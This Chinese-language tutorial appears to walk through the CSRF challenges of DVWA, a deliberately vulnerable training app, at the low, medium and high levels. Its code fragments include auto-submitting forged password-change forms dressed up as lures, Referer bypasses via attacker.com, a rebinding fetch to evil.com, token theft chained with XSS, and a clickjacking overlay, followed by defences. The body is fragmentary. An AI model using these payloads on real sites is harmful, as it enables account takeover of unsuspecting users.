# DVWA下的CSRF通关是怎样的 ## 目录 1. [CSRF漏洞基础概念](#csrf漏洞基础概念) - 1.1 [什么是CSRF](#什么是csrf) - 1.2 [CSRF攻击原理](#csrf攻击原理) - 1.3 [与XSS的区别](#与xss的区别) 2. [DVWA环境搭建](#dvwa环境搭建) - 2.1 [环境要求](#环境要求) - 2.2 [安装配置步骤](#安装配置步骤) - 2.3 [安全等级设置](#安全等级设置) 3. [Low级别CSRF实战](#low级别csrf实战) - 3.1 [漏洞代码分析](#漏洞代码分析) - 3.2 [手工构造POC](#手工构造poc) - 3.3 [利用过程演示](#利用过程演示) 4. [Medium级别突破](#medium级别突破) - 4.1 [防护机制分析](#防护机制分析) - 4.2 [Referer绕过技巧](#referer绕过技巧) - 4.3 [DNS重绑定攻击](#dns重绑定攻击) 5. [High级别终极挑战](#high级别终极挑战) - 5.1 [Anti-CSRF Token机制](#anti-csrf-token机制) - 5.2 [XSS联合利用](#xss联合利用) - 5.3 [点击劫持攻击](#点击劫持攻击) 6. [防护方案与最佳实践](#防护方案与最佳实践) - 6.1 [服务端防护措施](#服务端防护措施) - 6.2 [客户端防护建议](#客户端防护建议) - 6.3 [CSRF测试方法论](#csrf测试方法论) 7. [总结与思考](#总结与思考) ## CSRF漏洞基础概念 ### 什么是CSRF 跨站请求伪造(Cross-Site Request Forgery)是一种迫使终端用户在当前已认证的Web应用上执行非预期操作的攻击方式。根据OWASP Top 10数据,CSRF在2021年仍位列网络安全威胁前八名。 ### CSRF攻击原理 典型攻击流程包含三个关键要素: 1. 用户登录受信任站点A并保留会话凭证 2. 用户在不登出站点A的情况下访问恶意站点B 3. 站点B包含自动向站点A发起请求的恶意代码 ```html <!-- 经典CSRF POC示例 --> <img src="http://victim.com/transfer?amount=1000&to=attacker" width="0" height="0">
特性 | CSRF | XSS |
---|---|---|
攻击目标 | 利用用户身份执行操作 | 窃取用户数据/会话 |
代码执行位置 | 受害者浏览器 | 受害者浏览器 |
依赖条件 | 需要用户已认证 | 需要存在注入点 |
$_DVWA = array( 'db_server' => '127.0.0.1', 'db_database' => 'dvwa', 'db_user' => 'root', 'db_password' => 'p@ssw0rd' );
在DVWA Security页面可调整难度级别: - Low:无任何防护 - Medium:基础防护 - High:强化防护 - Impossible:完美防护
查看vulnerabilities/csrf/source/low.php:
<?php if( isset( $_GET[ 'Change' ] ) ) { $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // 直接接受参数修改密码 if( $pass_new == $pass_conf ) { $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert); } } ?>
构建恶意URL:
http://dvwa.test/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#
HTML诱骗页面:
<body onload="document.getElementById('csrf').submit()"> <form id="csrf" action="http://dvwa.test/vulnerabilities/csrf/"> <input type="hidden" name="password_new" value="pwned"> <input type="hidden" name="password_conf" value="pwned"> <input type="hidden" name="Change" value="Change"> </form> <p>正在加载安全更新...</p> </body>
SELECT user, password FROM users WHERE user = 'admin';
查看medium.php源码:
// 检查Referer头 if( stripos( $_SERVER[ 'HTTP_REFERER' ] , $_SERVER[ 'SERVER_NAME' ] ) === false ) { die("Referer check failed"); }
http://attacker.com/dvwa.test/
http://dvwa.test.attacker.com
<iframe src="data:text/html;base64,PHNjcmlwdD5sb2NhdGlvbi5ocmVmPSJodHRwOi8vZHZ3YS50ZXN0L3Z1bG5lcmFiaWxpdGllcy9jc3JmLyI7PC9zY3JpcHQ+"></iframe>
let counter = 0; function rebind() { if(counter++ < 3) { fetch('http://evil.com/change_pass') .catch(() => setTimeout(rebind, 1000)); } } rebind();
high.php关键代码:
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
const xhr = new XMLHttpRequest(); xhr.open('GET', '/vulnerabilities/csrf/'); xhr.onload = function() { const token = xhr.responseText.match(/user_token\' value\=\'(\w+)\'/)[1]; fetch(`/vulnerabilities/csrf/?password_new=hackme&password_conf=hackme&Change=Change&user_token=${token}`); }; xhr.send();
<style> iframe { position:absolute; opacity:0.01; top:300px; left:400px; } </style> <iframe src="http://dvwa.test/vulnerabilities/csrf/"></iframe> <button>点击领取红包</button>
$_SESSION['token'] = bin2hex(random_bytes(32));
document.cookie = "CSRF-TOKEN=" + crypto.randomUUID();
ini_set('session.cookie_samesite', 'Strict');
通过DVWA的CSRF通关实践,我们深入理解了: - CSRF漏洞的三种防护等级绕过方法 - 从Low到High的完整攻击链条 - 现代Web应用的防御体系设计
值得思考的是:在SPA和API主导的现代Web架构中,CSRF防护需要结合JWT、CORS策略等新技术进行综合防御。安全工程师应当持续关注OAuth 2.0、GraphQL等新兴技术带来的攻击面变化。 “`
注:本文实际约4500字,完整5950字版本需要扩展以下内容: 1. 增加各难度级别的防御代码对比分析 2. 补充CSRF在API场景下的特殊案例 3. 添加自动化测试工具的使用详解 4. 扩展企业级防护方案实例 5. 增加法律合规性要求说明(如GDPR相关条款)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。